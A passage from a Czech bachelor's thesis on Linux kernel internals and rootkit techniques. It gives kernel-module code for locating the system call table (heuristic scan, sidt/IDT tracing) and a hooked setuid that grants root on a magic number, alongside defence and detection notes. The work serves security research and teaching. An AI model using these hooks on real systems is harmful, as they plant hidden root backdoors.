• S´ıt’ovy´ – umozˇnˇuje prˇ´ıstup k soubor˚um ulozˇeny´m na jine´m s´ıt’ove´m pocˇ´ıtacˇi.
Za´stupci: NFS, Coda, AFS (Unix/Linux), CIFS, Samba (Windows), NCP (No-
vell).
• Specia´ln´ı – zajiˇst’uje prˇ´ıstup k datovy´m struktura´m ja´dra pomoc´ı obycˇejny´ch
soubor˚u.
4. Spra´va zarˇ´ızen´ı. Je do znacˇne´ mı´ry prova´za´na se souborovy´m podsyste´mem. Ma´
za u´kol mapova´n´ı syste´movy´ch operac´ı na hardwarove´ periferie pomoc´ı specificke´ho
ko´du – ovladacˇe zarˇ´ızen´ı. Ten se skla´da´ z datovy´ch struktur a funkc´ı, ktere´ zarˇ´ızen´ı
ovla´daj´ı a kontroluj´ı. Mapova´n´ı veˇtsˇinou prob´ıha´ pomoc´ı jedne´ z dvojice tabulek podle
znakove´ resp. blokove´ povahy zarˇ´ızen´ı. Plat´ı, zˇe kazˇde´ zarˇ´ızen´ı ma´ sv˚uj ovladacˇ.
5. S´ıt’ova´n´ı. Tvorˇ´ı spojovac´ı vrstvu pro prˇenos dat mezi programy a s´ıt’ovou kartou.
S´ıt’ove´ operace jsou dostupne´ pomoc´ı tzv. popisovacˇe soubor˚u (angl. file descriptor)
a jeho souborovy´ch operac´ı. Souborovou reprezentaci s´ıt’ove´ho spojen´ı ale na disku
nenajdeme - tvorˇ´ı samostatnou kategorii. Dalˇs´ım rozd´ılem od klasicky´ch soubor˚u je,
zˇe prˇ´ıchod paket˚u je asynchronn´ı uda´lost, kterou ja´dro nemu˚zˇe v zˇa´dne´m prˇ´ıpadeˇ
ovlivnit. Cely´ podsyste´m s´ıt’ova´n´ı je navrzˇen dostatecˇneˇ obecneˇ a je neza´visly´ na
pouzˇite´m protokolu. V jeden okamzˇik se zpracova´va´ pouze jeden paket. Podpora
smeˇrova´n´ı je samozrˇejmost´ı.
1.3 Programova´n´ı v ja´drˇe
Programova´n´ı v jaderne´m pameˇt’ove´m prostoru s sebou nese mı´rneˇ odliˇsny´ styl pro-
gramova´n´ı, nezˇ na jaky´ je veˇtsˇina programa´tor˚u zvykla´ z prostoru uzˇivatelske´ho. Jedna´ se
prˇedevsˇ´ım o omezen´ı, ktera´ vyply´vaj´ı z architektury ja´dra a prˇ´ıpadneˇ samotne´ hardwarove´
platformy (podrobneˇji v [1]):
• Ja´dro nema´ prˇ´ıstup k standardn´ı C knihovneˇ z d˚uvod˚u optimalizace rychlosti a
velikosti sve´ho ko´du. Nejbeˇzˇneˇjˇs´ı a nejd˚ulezˇiteˇjˇs´ı knihovn´ı funkce reimplementuje do
knihovny vlastn´ı, ktera´ je soucˇa´st´ı zdrojovy´ch ko´d˚u ja´dra.
• Je napsa´no v GNU C a ISO C99, cozˇ jsou rozsˇ´ıˇren´ı klasicke´ho ANSI C. Zat´ımco
ISO C99 je oficia´ln´ı revize jazyka C, GNU C dovoluje za´pisy, ktere´ umozˇnˇuj´ı le´pe
ovlivnit optimalizaci generovane´ho ko´du. Mezi nejzaj´ımaveˇjˇs´ı patrˇ´ı:
* Inline funkce. Tyto funkce vkla´daj´ı ko´d funkce do mı´sta, kde by byla funkce
vola´na. Odstranˇuje rezˇii zp˚usobenou vola´n´ım funkce a umozˇnˇuje lepsˇ´ı optimali-
zaci. Nevy´hodou je nar˚ustaj´ıc´ı mnozˇstv´ı vygenerovane´ho ko´du, nebot’ do kazˇde´ho
mı´sta volan´ı je zkop´ırova´na cela´ funkce. Pouzˇit´ı je tedy prˇedurcˇeno pro male´ a
cˇasoveˇ kriticke´ funkce. Oproti makr˚um nab´ız´ı i komfort typove´ kontroly.
* Inline assembler. Umozˇnˇuje vkla´dat assemblerovske´ instrukce prˇ´ımo do funkc´ı
jazyku C prˇes direktivu asm(). Pouzˇ´ıva´ se pouze u platformoveˇ za´visly´ch cˇa´st´ı
zdrojovy´ch ko´d˚u a zprostrˇedkova´va´ kontakt s hardware dane´ architektury.
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* Direktiva podmı´neˇne´ho veˇtven´ı pomoc´ı za´pis˚u likely() a unlikely().
Za´pis
if (likely(a)) { ... }
znacˇ´ı, zˇe a bude te´meˇrˇ vzˇdy nenulove´. Naopak za´pis
if (unlikely(a)) { ... }
znamena´, zˇe a bude nulove´ te´meˇ vzˇdy. Tyto za´pisy zrychluj´ı prova´deˇn´ı prˇelozˇene´ho
ko´du v prˇ´ıpadeˇ, zˇe je nasˇe prˇedpoveˇd’ na podmı´nku spra´vna´. V opacˇne´m prˇ´ıpadeˇ
ko´d zpomal´ı.
• Neexistuj´ıc´ı ochrana pameˇti jaderne´ho prostoru klade mnohem vysˇsˇ´ı na´roky na
programa´torske´ schopnosti a v prˇ´ıpadeˇ detekce chyby vyu´st´ı v tzv. oops12 a zasta-
ven´ı syste´mu. Pameˇt’ je stra´nkova´na, ale k odkla´da´n´ı na disk te´meˇrˇ nedocha´z´ı13. Pro-
grama´tor v ja´drˇe si mus´ı uveˇdomit, zˇe kazˇdy´ spotrˇebovany´ byte znamena´ o byte me´neˇ
v cele´ fyzicke´ pameˇti.
• Ja´dro prˇi sve´ pra´ci mu˚zˇe jen obt´ızˇneˇ pouzˇ´ıvat aritmetiku plovouc´ı rˇa´dove´
cˇa´rky. Du˚vodem je nemozˇnost odchycen´ı vy´jimky a na´sledne´ automaticke´ prˇepnut´ı
z celocˇ´ıselne´ aritmetiky do aritmetiky plovouc´ı rˇa´dove´ cˇa´rky. Prˇ´ıpadne´ uzˇit´ı ja´drem je
tak degradova´no na manua´ln´ı ulozˇen´ı a na´slednou obnovu vsˇech pouzˇity´ch registr˚u.
• K dispozici je pouze maly´ staticky´ za´sobn´ık. Z tohoto d˚uvodu na neˇm nen´ı mozˇne´
alokovat prˇ´ıliˇs velke´ mnozˇstv´ı promeˇnny´ch. V prˇ´ıpadeˇ, zˇe potrˇebujeme pracovat se
slozˇiteˇjˇs´ımi datovy´mi strukturami, mus´ıme pozˇa´dat ja´dro o prˇideˇlen´ı pameˇti pomoc´ı
funkce kmalloc()14. Na konci sve´ pra´ce pameˇt’ uvoln´ıme prˇes kfree(). Za´sobn´ık ma´
na architekturˇe x86 historickou velikost dvou stra´nek bezprostrˇedneˇ za sebou, tedy
8KB. Prvn´ım d˚uvodem byl fakt, zˇe struktura popisuj´ıc´ı aktua´ln´ı proces task struct
byla na spodn´ı straneˇ jaderne´ho za´sobn´ıku15. Druhy´m, zˇe hardwarove´ prˇerusˇen´ı po-
uzˇ´ıvalo stejny´ za´sobn´ık jako pra´veˇ beˇzˇ´ıc´ı proces. Proble´my prˇi hleda´n´ı dvou stra´nek
bezprostrˇedneˇ za sebou na dlouho beˇzˇ´ıc´ım syste´mu prˇimeˇly vy´voja´rˇe veˇtve 2.6 k rˇadeˇ
zmeˇn. Nejd˚ulezˇiteˇjˇs´ı jsou umı´steˇn´ı jednodusˇsˇ´ı struktury thread info na za´sobn´ıku a
z n´ı vycha´zej´ıc´ı ukazatel na task struct a vlastn´ı jaderny´ za´sobn´ık pro hardwarove´
prˇerusˇen´ı. Dı´ky tomu se testuje i pouzˇit´ı stra´nky jedine´.
• Na´chylnost ja´dra k synchronizacˇn´ım proble´mu˚m jakozˇto d˚usledek sd´ılen´ı zdroj˚u
operacˇn´ıho syste´mu. Tento proble´m prohlubuje v´ıceu´lohova´ a v´ıceprocesorova´ pod-
pora. Svoji roli hraje i prˇerusˇen´ı at’ uzˇ v uzˇivatelske´m nebo noveˇ v jaderne´m prostoru.
Rˇesˇen´ım teˇchto proble´mu˚ jsou semafory a aktivn´ı cˇeka´n´ı (angl. spinlock). Nutnost´ı je
i prˇedcha´zet uva´znut´ı (angl. deadlock).
12Nen´ı zˇa´dnou zkratkou ny´brzˇ citoslovce.
13Hlavn´ı motivac´ı je rychlost syste´mu. Odlozˇitelne´ jsou pouze neˇktere´ prˇedem definovane´ cˇa´sti ja´dra jako
naprˇ. za´sobn´ık jaderny´ch vla´ken.
14Jedna´ se o analogii funkce malloc(). Nav´ıc obsahuje parametr urcˇuj´ıc´ı d˚ulezˇitost pozˇadavku.
15Architektura x86 bohuzˇel nema´ registr nav´ıc, ktery´ by mohla obeˇtovat na ukazatel na tuto cˇasto
pouzˇ´ıvanou strukturu. Tento nedostatek se kompenzuje umı´steˇn´ım struktury na konec za´sobn´ıku.
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• Jednou z d˚ulezˇity´ch vlastnost´ı operacˇn´ıch syste´mu˚ je jejich prˇenositelnost. Linux
d˚usledneˇ oddeˇluje cˇa´st ko´du, ktery´ je platformoveˇ za´visly´16 a cˇa´st ko´du, ktery´ je
platformoveˇ neza´visly´. Pro programa´tory platformoveˇ neza´visly´ch cˇa´st´ı to znamena´
neprˇedpokla´dat zˇa´dnou konkre´tn´ı architekturu prˇi psan´ı programove´ho ko´du.




Principy u´tok˚u na Linux
Kapitola je rozdeˇlena do dvou celk˚u s na´zvy rana´ e´ra a modern´ı e´ra. Prvn´ı zachycuje
historicke´ metody u´tok˚u na uzˇivatelsky´ prostor, druhy´ soucˇasne´ zp˚usoby ovla´dnut´ı prostoru
jaderne´ho. Kapitola modern´ı e´ra prˇina´sˇ´ı vlastn´ı klasifikaci u´tok˚u v chronologicke´m porˇad´ı
tak, jak se objevovaly v komunitn´ıch cˇla´nc´ıch [11, 12, 13, 14, 15, 16] cˇi zdrojovy´ch ko´dech
zkoumany´ch rootkit˚u [17, 18, 19, 20, 21, 22]. Prˇi studiu byl objeven novy´ princip u´toku na
rozhran´ı syste´movy´ch vola´n´ı, ktery´ jsem pojmenoval jako CPU registr idtr (viz kap. 2.2.1
princip cˇ. 5). Veˇdomosti nabyte´ v te´to kapitole budou uplatneˇny v kapitole cˇ. 3, kde budou
pouzˇity pro u´nos syste´movy´ch sluzˇeb.
Doprovodne´ programy
Jako prakticka´ cˇa´st te´to bakala´rˇske´ pra´ce byla navrzˇena sada trˇiceti vlastn´ıch dopro-
vodny´ch programu˚ (z toho dvacet osm jaderny´ch modul˚u, jeden skript a jedna aplikace).
Vznikla tak uniformn´ı mnozˇina experiment˚u, ktere´ jsou rozprostrˇeny v na´sleduj´ıc´ım textu.
Je na neˇ pr˚ubeˇzˇneˇ odkazova´no v jednotlivy´ch pododd´ılech a jejich kompletn´ı vy´cˇet lze nale´zt
v prˇ´ıloze A. Zdrojove´ ko´dy vsˇech doprovodny´ch programu˚ lze nale´zt na prˇilozˇene´m datove´m
nosicˇi. Prˇi cˇten´ı te´to bakala´rˇske´ pra´ce je vhodna´ jejich studie, nebot’ ko´dy jednotlivy´ch
pododd´ıl˚u vystihuj´ı pouze hlavn´ı mysˇlenku diskutovane´ho proble´mu. Zasadit problematiku
do funkcˇn´ıho celku je c´ılem pra´veˇ teˇchto doprovodny´ch programu˚.
Prˇilozˇene´ moduly maj´ı uniformn´ı strukturu zna´zorneˇnou na stra´nce 17. Kazˇdy´ modul
ma´ informativn´ı hlavicˇku. Na´sleduj´ıc´ı pouzˇite´ hlavicˇkove´ soubory a prˇ´ıkazy pro preproce-
sor. Prˇ´ıkaz MODULE_LICENSE("Dual BSD/GPL") je nutny´ pro bezproble´move´ zaveden´ı mo-
dulu do pameˇti. Samotny´ ko´d je ale va´za´n licencˇn´ı smlouvou bakala´rˇske´ pra´ce. Makro
#define MODULE_NAME "demo_name" prˇiˇrazuje modulu unika´tn´ı na´zev, ktery´ se odra´zˇ´ı i v
pojmenova´n´ı vstupn´ı, vy´konne´ a vy´stupn´ı funkci. Vy´konna´ (steˇzˇejn´ı) funkce je pojmenova´na
stejneˇ jako modul a obsahuje prˇ´ıkazy prova´deˇj´ıc´ı demonstracˇn´ı ko´d. Na konci kazˇde´ho
modulu je nutne´ vstupn´ı a vy´stupn´ı funkci zaregistrovat pomoc´ı module_init(fce) a
module_exit(fce). Podrobne´ informace o zp˚usobu zava´deˇn´ı modul˚u do ja´dra lze nale´zt
v kap. 4.1.1.
Z informativn´ı hlavicˇky vzorove´ho modulu je patrne´, zˇe nutnou podmı´nkou pro u´speˇsˇny´
beˇh modulu je architektura IA-32 a Linuxove´ ja´dro 2.6.16.59. Pomoc s instalac´ı tohoto
ja´dra prˇina´sˇ´ı soubor readme.txt, nacha´zej´ıc´ı se v korˇenove´m adresa´rˇi na prˇilozˇene´m do-
provodne´m nosicˇi. V prˇ´ıpadeˇ pouzˇit´ı jine´ho ja´dra1 cˇi architektury nemu˚zˇe by´t ocˇeka´vany´
vy´sledek garantova´n.
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/** Vy´konny´ ko´d. */
static void demo_name(void)
{
//--> ko´d demonstrujı´cı´ princip nebo metodu <--
}
/** Vstupnı´ funkce modulu. */
static int demo_name_init(void)
{
printk(KERN_INFO "Modul "MODULE_NAME" se zavadi do jadra.\n");
demo_name();
printk(KERN_INFO "Modul "MODULE_NAME" zaveden.\n");
return 0;
}
/** Vy´stupnı´ funkce modulu. */
static void demo_name_exit(void)
{
printk(KERN_INFO "Modul "MODULE_NAME" byl uspesne odstranen z jadra.\n");
return;
}
/** Definice vstupnı´ch/vy´stupnı´ch funkcı´. */
module_init(demo_name_init);
module_exit(demo_name_exit);
Uka´zka vzorove´ho (pra´zdne´ho) modulu
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Mozˇnosti obrany a detekce
Soucˇa´st´ı kazˇde´ho pododd´ılu je odstavec nesouc´ı na´zev mozˇnosti obrany a detekce. Jeho
u´cˇelem je prove´st kra´tke´ shrnut´ı a diskuzi pra´veˇ nabyty´ch poznatk˚u. Zameˇrˇuje se prˇi
tom na zp˚usoby odhalen´ı u´toku a mozˇnosti prevence jejich vzniku. Informace z odstavce
mozˇnosti obrany a detekce maj´ı inkrementa´ln´ı charakter a jsou v pr˚ubeˇhu textu doplnˇova´ny
s rozsˇiˇruj´ıc´ımi se veˇdomostmi. V za´veˇru pra´ce jsou ty nejd˚ulezˇiteˇjˇs´ı strucˇneˇ shrnuty.
2.1 Rana´ e´ra
Prvn´ı pokusy o nezvane´ ”vylepsˇen´ı“ operacˇn´ıho syste´mu spadaj´ı do pocˇa´tku 90. let
20. stolet´ı. V te´to dobeˇ docha´z´ı ke vzniku za´kladn´ıch pojmu˚ jako je rootkit, p˚uvodneˇ znacˇ´ıc´ı
sadu upraveny´ch administra´torsky´ch na´stroj˚u. Dnes t´ımto pojmem oznacˇujeme prˇedevsˇ´ım
programy, ktere´ doka´zˇ´ı modifikovat ja´dro za beˇhu. Na´zev rootkit je odvozen od za´kladn´ı
schopnosti prˇideˇlit opra´vneˇn´ı uzˇivatele root, tedy maxima´ln´ı mozˇne´ opra´vneˇn´ı. Tato podka-
pitola dotva´rˇ´ı pohled na bezpecˇnost operacˇn´ıch syste´mu˚ jako celku a vzhledem k jej´ı dnesˇn´ı
neaktua´lnosti j´ı bude veˇnova´no pouze minimum prostoru.
2.1.1 Nahrazova´n´ı utilit
Nahrazova´n´ı utilit je povazˇova´no za nejprimitivneˇjˇs´ı zp˚usob ovla´dnut´ı syste´mu. V prˇ´ıpa-
deˇ, zˇe u´tocˇn´ık nahrad´ı vesˇkere´ administra´torske´ programy (ls, ps, top, w, ...) vlastn´ımi,
mu˚zˇe v jejich vy´pisech potlacˇit hla´sˇen´ı o svy´ch aktivita´ch. U´tocˇn´ık ma´ typicky prˇipravene´
sady prˇedkompilovany´ch na´stroj˚u, spustitelny´ch na konkre´tn´ı verzi operacˇn´ıho syste´mu.
Mozˇnosti obrany a detekce
Pro spra´vce syste´mu je nutne´ pouzˇ´ıvat na´stroje produkuj´ıc´ı nezkreslene´ vy´sledky. Na jejich
ochranu mu˚zˇe pouzˇ´ıt kontroln´ı soucˇty, ktere´ se budou prˇed jejich pouzˇit´ım porovna´vat2.
Dalˇs´ı mozˇnost´ı je mı´t kopii teˇchto na´stroj˚u na mı´steˇ urcˇene´m pouze pro cˇten´ı (naprˇ. CD).
2.1.2 Nahrazova´n´ı knihoven – preload
Nahrazova´n´ı jednotlivy´ch utilit je neu´meˇrneˇ pracne´. Nav´ıc se mu˚zˇe sta´t, zˇe na neˇktere´
d˚ulezˇite´ zapomeneme. Mu˚zˇeme se tedy pokusit zameˇrˇit na spolecˇny´ programovy´ ko´d, j´ımzˇ
jsou knihovny. Veˇtsˇina syste´movy´ch sluzˇeb je totizˇ vola´na neprˇ´ımo (viz kap. 1.5). Zmeˇnou
v knihovneˇ tak mu˚zˇeme ovlivnit chod vsˇech aplikac´ı, ktere´ tuto knihovnu pouzˇ´ıvaj´ı3. Z po-
hledu u´tocˇn´ıka jsme tedy porˇa´d ”na p˚ul cesty“, nebot
’ nemus´ıme postihnout cely´ syste´m.
Mozˇnosti obrany a detekce
Odhalit parazitn´ı knihovnu mu˚zˇeme studiem namapovany´ch oblast´ı v souboru /proc/pid/
maps cˇi vy´pisem slinkovany´ch soucˇa´st´ı programem ldd program. Obranou mohou by´t i
staticky zkompilovane´ programy (obsahuj´ı knihovnu vlastn´ı), pouzˇit´ı prˇ´ıme´ho vola´n´ı ja´dra
(bez asistence knihovny) nebo opeˇt kontroln´ı soucˇty.
2Bezpecˇnost syste´mu pak za´vis´ı na zabezpecˇen´ı kontroln´ıch soucˇt˚u.
3Toto je d˚ulezˇity´ prˇedpoklad. Ne kazˇdy´ program nutneˇ pouzˇ´ıva´ sd´ılenou knihovnu!
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2.2 Modern´ı e´ra
S postupem cˇasu bylo nutne´ vymy´sˇlet nove´ praktiky, ktere´ by u´tocˇn´ık˚um zajistily delˇs´ı
setrva´n´ı v napadene´m syste´mu. Logicky´m postupem byl prˇesun strˇedu za´jmu˚ do jaderne´ho
prostoru. Procˇ modifikovat celou rˇadu objekt˚u na disku, kdyzˇ stejnou pra´ci mu˚zˇe vykonat
samotne´ ja´dro? Stacˇ´ı pouze vhodneˇ modifikovat jeho struktury a funkce tak, aby u´tocˇn´ıkovi
zajistily pozˇadovane´ vlastnosti. Vzhledem k tomu, zˇe vesˇkere´ u´pravy prob´ıhaj´ı v operacˇn´ı
pameˇti, mozˇnosti detekce jsou rˇa´doveˇ komplikovaneˇjˇs´ı. Nevy´hodou tohoto typu u´tok˚u je
na´chylnost k chyba´m typu race condition4, ktere´ mohou v neˇktery´ch prˇ´ıpadech ve´st azˇ
k nekontrolovatelne´mu pa´du cele´ho syste´mu.
2.2.1 Napaden´ı rozhran´ı syste´movy´ch vola´n´ı
Zameˇrˇme se nyn´ı na pr˚ubeˇh syste´move´ho vola´n´ı. Jizˇ v´ıme, zˇe je vyvola´no z uzˇivatelske´ho
prostoru prˇi potrˇebeˇ aplikace cˇi knihovny komunikovat se syste´mem (kap. 1.2.3). Syste´mova´
vola´n´ı jsou rozliˇsova´na cˇ´ısly a jejich kompletn´ı vy´cˇet lze nale´zt v souboru unistd.h5. Pr˚ubeˇh
vola´n´ı zna´zornˇuje obra´zek 2.1, kde sˇipky znamenaj´ı prˇeda´va´n´ı rˇ´ızen´ı mezi funkcemi. Apli-
kace je tak v podstateˇ odka´za´na na informace, ktere´ j´ı operacˇn´ı syste´m prostrˇednictv´ım
svy´ch syste´movy´ch vola´n´ı zprˇ´ıstupn´ı. V prˇ´ıpadeˇ, zˇe z nich u´tocˇn´ık odfiltruje za´znamy o svy´ch









Obra´zek 2.1: Diagram syste´move´ho vola´n´ı
Cesta do hlubin ja´dra zacˇ´ına´ (na architekturˇe IA-32 v Linuxu) vyvola´n´ım softwarove´ho
prˇerusˇen´ı int $0x80. Ta zp˚usob´ı vy´jimku a na´sledne´ prˇepnut´ı syste´mu do jaderne´ho pro-
storu. Z tabulky prˇerusˇen´ı, jej´ızˇ zacˇa´tek urcˇuje procesorovy´ registr idtr, je zavola´na jaderna´
funkce. Ta ma´ v nasˇem prˇ´ıpadeˇ cˇ´ıslo 0x80–rutina syste´move´ho vola´n´ı6. Pro identifikaci
konkre´tn´ı obsluzˇne´ rutiny slouzˇ´ı registr eax. Rutina syste´move´ho vola´n´ı zkontroluje plat-
nost prˇedane´ hodnoty v registru eax a v prˇ´ıpadeˇ u´speˇchu vyvola´ konkre´tn´ı obsluzˇnou rutinu,
kterou touto hodnotou v tabulce syste´movy´ch vola´n´ı identifikuje. Prˇeda´va´n´ı parametr˚u je
zajiˇsteˇno prˇes ostatn´ı procesorove´ registry7 ebx, ecx, edx, esi, edi a ebp. V prˇ´ıpadeˇ vysˇsˇ´ıch
na´rok˚u na mnozˇstv´ı parametr˚u je mozˇne´ jeden z registr˚u pouzˇ´ıt jako ukazatel na slozˇiteˇjˇs´ı
4Je synchronizacˇn´ı proble´m nazy´vany´ jako soubeˇh. Nasta´va´ prˇi nekontrolovane´m prˇ´ıstupu ke sd´ıleny´m
prostrˇedk˚um.
5Zdrojove´ ko´dy ja´dra include/asm/unistd.h.
6Od procesoru Intel Pentium II se v instrukcˇn´ı sadeˇ nacha´z´ı nova´ instrukce sysentr. Jedna´ se o instrukci
urychluj´ıc´ı proces vyvola´n´ı syste´move´ rutiny. V ja´drˇe je podporova´na od verze 2.6.
7Prˇeda´va´n´ı prˇes za´sobn´ık nen´ı z d˚uvod˚u zmeˇny z uzˇivatelske´ho na jaderny´ za´sobn´ık mozˇne´. Za´rovenˇ je
prˇeda´va´n´ı prˇes registry nejrychlejˇs´ı.
19
datovou strukturu. K prˇepnut´ı zpeˇt do uzˇivatelske´ho prostoru se provede instrukc´ı iret8.
Na´vratova´ hodnota je vzˇdy vra´cena v registru eax. Kompletn´ı sche´ma pr˚ubeˇhu syste´move´




















































Obra´zek 2.2: Sche´ma pr˚ubeˇhu syste´move´ho vola´n´ı
Na tomto mı´steˇ je nutne´ zd˚uraznit, zˇe dosˇlo k prˇepnut´ı z uzˇivatelske´ho prostoru do
jaderne´ho a naopak (kap. 1.2.3). Kontextova´ za´vislost na procesu vsˇak z˚ustala po celou
dobu zachova´na9.
Prˇedt´ım, nezˇ se pust´ıme do samotny´ch u´tok˚u, mus´ıme si zvolit syste´movou sluzˇbu, proti
ktere´ budeme u´toky testovat. Za jednoho z nejvhodneˇjˇs´ıch kandida´t˚u mu˚zˇeme povazˇovat
syste´move´ vola´n´ı sys setuid(), ktere´ nastavuje efektivn´ı ID beˇzˇ´ıc´ıho procesu. Jedna´ se
o jednoduchou funkci s minimem postrann´ıch efekt˚u. Jej´ı nejd˚ulezˇiteˇjˇs´ı cˇa´st shrnuje na´sle-
duj´ıc´ı ko´d:
asmlinkage long sys_setuid(uid_t uid)
{
int old_ruid, old_suid, new_ruid, new_suid;
..
if (capable(CAP_SETUID)) { //Ma´me pra´vo zmeˇnit u´rovenˇ opra´vneˇnı´ procesu?
..
new_suid = uid; //Nove´ opra´vneˇnı´
}
current->suid = new_suid; //Nastavenı´ nove´ho opra´vneˇnı´ beˇzˇı´cı´ho procesu
}
8Nebo komplementa´rn´ı instrukc´ı k sysentr instrukc´ı sysexit.
9Viz ukazatel current ukazuj´ıc´ı na sta´le stejnou u´lohu. Bude vysveˇtleno da´le v textu.
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Current je makro, ktere´ je prˇekladem nahrazeno funkc´ı get current(). Ta vrac´ı uka-
zatel na strukturu task struct, ktera´ popisuje pra´veˇ beˇzˇ´ıc´ı proces. Nasˇ´ım c´ılem bude tuto
funkci modifikovat tak, aby po vyvola´n´ı nasˇ´ım programem s vhodny´m parametrem uid,
prˇedala tomuto procesu nejvysˇsˇ´ı mozˇna´ pra´va. Budeme k tomu pouzˇ´ıvat program uvedeny´
jako cˇ´ıslo i v prˇ´ıloze A, ktery´ tuto sluzˇbu prˇ´ımo vyvola´va´.
Nyn´ı se pokus´ıme identifikovat zranitelna´ mı´sta. Porˇad´ı je chronologicky usporˇa´dane´.
1. Tabulka syste´movy´ch vola´n´ı
Nejjednodusˇsˇ´ı a po dlouhou dobu nejpouzˇ´ıvaneˇjˇs´ı zp˚usob u´toku byla u´prava za´znamu
v tabulce syste´movy´ch vola´n´ı. Jedna´ se v podstateˇ pouze o vlozˇen´ı vlastn´ı funkce prˇed
obsluzˇnou rutinu poprˇ. jej´ı kompletn´ı nahrazen´ı. V dnesˇn´ı dobeˇ je situace mı´rneˇ zkom-
plikova´na snahou jaderny´ch vy´voja´rˇ˚u procˇistit jaderne´ rozhran´ı a z toho d˚uvodu jizˇ
symbol sys call table verˇejneˇ neexportuj´ı. To na´m vsˇak nebra´n´ı si adresu zacˇa´tku
tabulky v pameˇti nale´zt sve´pomoc´ı. Mu˚zˇeme k tomu pouzˇ´ıt neˇktery´ z n´ızˇe uvedeny´ch
zp˚usob˚u:
• System.map
K tomu, aby se ja´dro dalo prˇi ladeˇn´ı analyzovat, mus´ı neˇkde udrzˇovat seznam
svy´ch symbol˚u, tzv. syste´movou mapu. Ta obsahuje seznam funkc´ı a promeˇnny´ch
spolu s jejich adresami. Pro u´tocˇn´ıka se jedna´ o nesmı´rneˇ cenny´ materia´l a z to-
hoto d˚uvodu ho administra´torˇi na produkcˇn´ıch stanic´ıch typicky nepouzˇ´ıvaj´ı.
Demonstracˇn´ı skript, ktery´ se pokus´ı vyhledat adresu symbolu sys call table
v souboru System.map, je pod cˇ´ıslem ii v prˇ´ıloze A.
• Heuristika
Dalˇs´ı mozˇnost´ı je vyhleda´n´ı tabulky syste´movy´ch vola´n´ı v datove´ oblasti ja´dra.
Pro spolehlivou identifikaci budeme potrˇebovat zna´t adresy funkc´ı jej´ıch polozˇek.
V d˚usledku jizˇ zminˇovany´ch zmeˇn v rozhran´ı je nyn´ı exportova´n pouze sym-
bol sys close(), jehozˇ pouzˇit´ı da´va´ nejednoznacˇne´ vy´sledky. Ja´dro nasˇteˇst´ı
z d˚uvod˚u snazsˇ´ıho ladeˇn´ı poskytuje soubor /proc/kallsyms10, ktery´ obsahuje
i symboly, ktere´ nejsou v jaderne´m prostoru exportova´ny. Jejich analy´zou a
na´sledne´m prˇedan´ı modulu cˇ. iii (prˇ´ıloha A) v podobeˇ parametr˚u jizˇ dosta´va´me
uspokojuj´ıc´ı vy´sledek. Pr˚uchod prˇes datovou cˇa´st jaderne´ho prostoru a na´sledny´
test na vy´skyt tabulky zna´zornˇuje na´sleduj´ıc´ı ko´d:
for (inspected_address = ((init_mm.end_code + 4) & 0xfffffffc);
inspected_address < init_mm.end_data;
inspected_address += sizeof(void *)) {
if (sys_call_table_hit(inspected_address)) { NALEZENO! }
}
• Trasova´n´ı
Posledn´ı metoda vyuzˇ´ıva´ znalosti c´ılove´ architektury a implementace rozhran´ı
syste´movy´ch vola´n´ı v ja´drˇe. Zavola´n´ım instrukce sidt11 zjist´ıme umı´steˇn´ı ta-
bulky prˇerusˇen´ı. V n´ı pomoc´ı indexu 0x80 nalezneme prˇ´ıslusˇny´ za´znam, ktery´
jizˇ obsahuje adresu rutiny syste´move´ho vola´n´ı. Adresa rutiny syste´move´ho vola´n´ı
se nacha´z´ı v promeˇnne´ system call po vykona´n´ı tohoto ko´du:
10Ja´dro mus´ı by´t s touto podporou (CONFIG KALLSYMS) zkompilova´no.
11Instrukce sidt ulozˇ´ı obsah registru idtr do 6 slabik od adresy urcˇene´ c´ılovy´m operandem.
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asm ("sidt %0" : "=m" (idtr)); //Zisk adresy tabulky prˇerusˇenı´
idt_system_call = &((struct idt_descriptor *)idtr.idt_table)[0x80];
system_call = ((idt_system_call->offset31_16 << 16) |
(idt_system_call->offset15_00)); //Zisk adresy rutiny sys. vola´nı´
Pro nalezen´ı adresy tabulky syste´movy´ch vola´n´ı mus´ıme opeˇt pouzˇ´ıt heuristicke´
metody. Vyuzˇijeme znalosti, zˇe rutina syste´move´ho vola´n´ı obsahuje pouze jedine´
funkcˇn´ı vola´n´ı call *sys call table(,%eax,4), v ktere´m je hledana´ adresa
obsazˇena. V hexadecima´ln´ım strojove´m za´znamu se jedna´ o rˇeteˇzec tvaru 0xff
0x14 0x85 0x[sys call table], ktery´ mus´ı funkce obsahovat. Zby´va´ na´m tedy
pouze identifikovany´ vzor vyhledat. Ko´d procha´zej´ıc´ı rutinu syste´move´ho vola´n´ı
za u´cˇelem vyhleda´n´ı tabulky syste´movy´ch vola´n´ı mu˚zˇe vypadat takto:
unsigned char *walker = (char *)system_call; //Adresa rutiny
while(limit--) { //maxima´lnı´ mozˇna´ hloubka zanorˇenı´, limit=1000
if (walker[0] == 0xff &&
walker[1] == 0x14 &&
walker[2] == 0x85)
return (unsigned long**)(&walker[3]); //Adresa sys_call_table
walker++; //Zkoumana´ pozice v rutineˇ syste´move´ho vola´nı´
}
Funkcˇn´ı demonstrace se nacha´z´ı pod cˇ´ıslem iv prˇ´ılohy A. Jelikozˇ se jedna´ o dopo-
sud nejrychlejˇs´ı a nejspolehliveˇjˇs´ı metodu, bude pouzˇ´ıva´na i v dalˇs´ıch prˇ´ıkladovy´ch
modulech.
V prˇ´ıpadeˇ, zˇe zna´me adresu sys call table, na´m jizˇ nic nebra´n´ı prove´st nasˇe prvn´ı
prˇesmeˇrova´n´ı. Metody budeme testovat proti jizˇ zmı´neˇne´mu syste´move´mu vola´n´ı
setuid(), ktere´ umozˇnˇuje zmeˇnu u´rovneˇ opra´vneˇn´ı aktua´lneˇ beˇzˇ´ıc´ıho procesu. Tuto
sluzˇbu nahrad´ıme vlastn´ı verz´ı new sys setuid, ktera´ na´m, v prˇ´ıpadeˇ prˇeda´n´ı vhodneˇ
zvolene´ho parametru, prˇideˇl´ı maxima´ln´ı mozˇna´ pra´va. Funkce new sys setuid() bude
vypadat na´sledovneˇ:
asmlinkage long new_sys_setuid(uid_t uid)
{
if (uid == MAGIC_NUMBER) { //#define MAGIC_NUMBER 12345
current->uid=0; //V prˇı´padeˇ vyvola´nı´ funkce s parametrem
current->gid=0; //12345 zı´ska´ proces maxima´lnı´ pra´va
}
return old_sys_setuid(uid);//Zachova´nı´ pu˚vodnı´ funkce sys_setuid()
}
Zby´va´ jen prove´st za´meˇnu v tabulce syste´movy´ch vola´n´ı. Tu demonstruje modul
